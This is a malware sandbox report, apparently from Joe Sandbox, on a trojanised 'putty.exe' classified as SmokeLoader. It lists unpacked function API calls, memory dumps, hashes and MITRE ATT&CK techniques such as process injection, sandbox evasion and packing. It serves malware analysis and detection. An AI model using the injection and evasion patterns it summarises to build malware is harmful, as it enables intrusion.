NtTerminateProcess.NTDLL ref: 004030C8

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: CreateProcessTerminateThreadUser
String ID:
API String ID: 1921587553-0
Opcode ID: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction ID: aa2530698c6aa4494656ae1f9c01ee64b6dc24c6198c14284b052c109098bfb9
Opcode Fuzzy Hash: 3666794f6f76943507f515948c416729d2a122008cd61b3dc3cfc1699990bb7a
Instruction Fuzzy Hash: 1F415832618E0C4FD778EE6CA88966377D5E794351B56437AE809D3388EE30DC5183C5

Function 0088003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0088024D

Strings

cess, xrefs: 0088018D
kernel32.dll, xrefs: 0088008F, 00880095

Memory Dump Source

Source File: 00000004.00000002.2439322888.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_880000_hajefwb.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: aac36b1d1735d88017c5ffbfa41392513043c77e30cf763340a148cb817e5263
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 3D527974A01229DFDBA4DF58C984BA8BBB1BF09304F1480D9E50DAB351DB30AE88DF15

Function 0041E420 Relevance: 4.6, APIs: 3, Instructions: 60
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(007FBE70), ref: 0041E4FC
GetProcAddress.KERNEL32(00000000,00428568), ref: 0041E539
VirtualProtect.KERNELBASE(007FBCB4,007FBE6C,00000040,?), ref: 0041E559

Memory Dump Source

Source File: 00000004.00000002.2439046439.0000000000411000.00000020.00000001.01000000.00000006.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_411000_hajefwb.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 5f792d3185b1dfe27c01431423dd3fc6cfa42d126e08d48e723e3642774d761e
Instruction ID: 73f69d7917680131017885dec632b363507af7a99e12a31d1a756d0ae7194df9
Opcode Fuzzy Hash: 5f792d3185b1dfe27c01431423dd3fc6cfa42d126e08d48e723e3642774d761e
Instruction Fuzzy Hash: D331E2107197C0EAE311DB74FC0476A3BA2AB65744F94906CD284873B1DBFE4596C72E

Function 00AAB648 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00AAB670
Module32First.KERNEL32(00000000,00000224), ref: 00AAB690

Memory Dump Source

Source File: 00000004.00000002.2439682112.0000000000AA8000.00000040.00000020.00020000.00000000.sdmp, Offset: 00AA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa8000_hajefwb.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: bebd2c28b1bbf3d5eb1a18067a6ee4456d08a9684e221c2b2eda9c21646dd92d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 44F09032210714AFD7203BF9AD8DB7EBAE8AF4A725F140529F646924C2DB70EC454A71

Function 00880E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00880223,?,?), ref: 00880E19
SetErrorMode.KERNELBASE(00000000,?,?,00880223,?,?), ref: 00880E1E

Memory Dump Source

Source File: 00000004.00000002.2439322888.0000000000880000.00000040.00001000.00020000.00000000.sdmp, Offset: 00880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_880000_hajefwb.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: f2f6d8dcacfc00e91535e2c3d4d44eba824c5639ec75f1ad12dbbdf9da4bc129
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: D6D0123114512877D7403A94DC09BCE7B1CDF05B62F008411FB0DD9080C770994047E5

Function 0041E560 Relevance: 1.5, APIs: 1, Instructions: 17
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(00428568,0041EAA6), ref: 0041E5B5

Memory Dump Source

Source File: 00000004.00000002.2439046439.0000000000411000.00000020.00000001.01000000.00000006.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_411000_hajefwb.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a2247281a0317d9ab3f27a11f04892dfecf0f6f02230e8de71191773789cf042
Instruction ID: 37f511d326cec085d92eed1722e052eb53f2ff336d789c620464cf2e2f778e48
Opcode Fuzzy Hash: a2247281a0317d9ab3f27a11f04892dfecf0f6f02230e8de71191773789cf042
Instruction Fuzzy Hash: 41F02E0574F2E0ECE722C77869097483F511722688FC840ED908016663CAAA02DBD73E

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction ID: 625976beb622557468fde4da7c406050b614696d38d370b0d4d52ea32007e278
Opcode Fuzzy Hash: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction Fuzzy Hash: 2C0192B260C204EBEB002991CC91EBA32299B04350F308133B603790F1D57C8753B36F

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction ID: 01e10882b1c060c9bcf7afaa20a424b8b06e3eaca9db3e31c9d827ddeb5dfa52
Opcode Fuzzy Hash: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction Fuzzy Hash: 620178B260C204EBEB042A91CC91EBE2225AB08320F308133B603790F1D67C8753B72F

Function 0040189C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction ID: 091d8ab5f34d30388949969244c388a12b20eca364eb9837eec97541f3976fe9
Opcode Fuzzy Hash: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction Fuzzy Hash: 46015AB360C244EBEB016A90C8A1EAA37659B48310F308577B643790F1D67C8753A72F

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction ID: 35dd9e0e0d775fbf54de8accc2db9d3c4b904cb042cfc7da377ce8c3fe766ee0
Opcode Fuzzy Hash: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction Fuzzy Hash: 5501A2B6208244EBDB015AA4CD52AEE37259B04320F244177FA13BA0F1DA7CC653E76F

Function 00AAB307 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00AAB358

Memory Dump Source

Source File: 00000004.00000002.2439682112.0000000000AA8000.00000040.00000020.00020000.00000000.sdmp, Offset: 00AA8000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_aa8000_hajefwb.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 596253a33b9b6ca1368fa21a2bb63405e88f6226c26fd1266a3fbae664e429ed
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 02113C79A00208EFDB01DF98CA85E98BBF5AF08350F058094F9489B362D371EA50DF90

Function 004018D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction ID: 66a051fc3b1640109372302853407978bf892c336f6e5febd052736601f380b8
Opcode Fuzzy Hash: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction Fuzzy Hash: DBF04FB6208244EBDB006AD1CC51EAE33699B49364F304173B613790F5D67C8653E72F

Non-executed Functions

Function 0041E640 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

EndUpdateResourceA.KERNEL32(00000000,00000000,0042204C), ref: 0041E669
GetNumaHighestNodeNumber.KERNEL32(00000000), ref: 0041E6C0
GetComputerNameA.KERNEL32(?,?), ref: 0041E6D0

Strings

<, xrefs: 0041E6AA

Memory Dump Source

Source File: 00000004.00000002.2439046439.0000000000411000.00000020.00000001.01000000.00000006.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_411000_hajefwb.jbxd

Similarity

API ID: ComputerHighestNameNodeNumaNumberResourceUpdate
String ID: <
API String ID: 2454257732-4251816714
Opcode ID: 38b6396692d561f846e82d484e43ff9839e86d75bee0adaba9c0cd9ffd17fbac
Instruction ID: 1831bf02aaf20b182b31ea32c56b48fe0af4060d55c8b6986e8c7cbcbf37122f
Opcode Fuzzy Hash: 38b6396692d561f846e82d484e43ff9839e86d75bee0adaba9c0cd9ffd17fbac
Instruction Fuzzy Hash: 9A118FB51043419FD320DF25D984BABB7E4FF98314FC18D2DF6944A281C778958ACB9A

Function 0041F660 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0041F686

Part of subcall function 0041F4AB: __fltout2.LIBCMT ref: 0041F4D7

__cftog_l.LIBCMT ref: 0041F6AC
__cftoe_l.LIBCMT ref: 0041F6DE

Memory Dump Source

Source File: 00000004.00000002.2439046439.0000000000411000.00000020.00000001.01000000.00000006.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_411000_hajefwb.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: ae9c123fa49f40dbb681c5afc6ce5ec73cb2cd7577c926c04dcfacae745abae9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: D411407210014ABBCF125E85DC42CEE3F62BB18354B598526FE1859131D33ACAB7AB89

Function 0041E710 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0041E600: GetStartupInfoA.KERNEL32(00000000), ref: 0041E617
Part of subcall function 0041E600: GetModuleHandleA.KERNEL32(00000000), ref: 0041E61F

GetEnvironmentStringsW.KERNEL32(00000000), ref: 0041E749
FindFirstVolumeW.KERNEL32(00000000,00000000), ref: 0041E753
GetShortPathNameW.KERNEL32(0042333C,?,00000000), ref: 0041E765
DeleteVolumeMountPointA.KERNEL32(00000000), ref: 0041E784

Memory Dump Source

Source File: 00000004.00000002.2439046439.0000000000411000.00000020.00000001.01000000.00000006.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_411000_hajefwb.jbxd

Similarity

API ID: Volume$DeleteEnvironmentFindFirstHandleInfoModuleMountNamePathPointShortStartupStrings
String ID:
API String ID: 3566876605-0
Opcode ID: 398f690dd63b4dc214b9c005ea9467d16438635c8015b47d51cfcc86b307485e
Instruction ID: 7d5483026b8d33337ac4a9549a5db5e9d718fad291004e212951830aed23f32c
Opcode Fuzzy Hash: 398f690dd63b4dc214b9c005ea9467d16438635c8015b47d51cfcc86b307485e
Instruction Fuzzy Hash: 9B0186B6A50100EBD664EB65ED4ABA633A4B71C705FC08425F746862A0DFB85444CFAF

Function 0041E678 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(00000000), ref: 0041E6C0
GetComputerNameA.KERNEL32(?,?), ref: 0041E6D0

Strings

<, xrefs: 0041E6AA

Memory Dump Source

Source File: 00000004.00000002.2439046439.0000000000411000.00000020.00000001.01000000.00000006.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_411000_hajefwb.jbxd

Similarity

API ID: ComputerHighestNameNodeNumaNumber
String ID: <
API String ID: 3700106692-4251816714
Opcode ID: 8250a3e23bbfec59b690a0df1105bb907fd8dd0d175828653fc7dd8941d46e01
Instruction ID: 78699f444b43a7322d8c77efa18837f699f308161780eb29aa2cbd1f541736c2
Opcode Fuzzy Hash: 8250a3e23bbfec59b690a0df1105bb907fd8dd0d175828653fc7dd8941d46e01
Instruction Fuzzy Hash: 220171751083829FC720DF25D84465FB7E4FF84329F858D1DE5A44A240C778954ACB4B

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report putty.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\hajefwb

C:\Users\user\AppData\Roaming\hajefwb:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Windows Analysis Report
putty.exe

Function 0041E7A0 Relevance: 34.8, APIs: 23, Instructions: 305
timeCOMMON

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Function 0084CB80 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Function 0094003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Function 0041E420 Relevance: 4.6, APIs: 3, Instructions: 60
librarymemoryloaderCOMMON

Function 00940E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Function 0041E560 Relevance: 1.5, APIs: 1, Instructions: 17
libraryCOMMON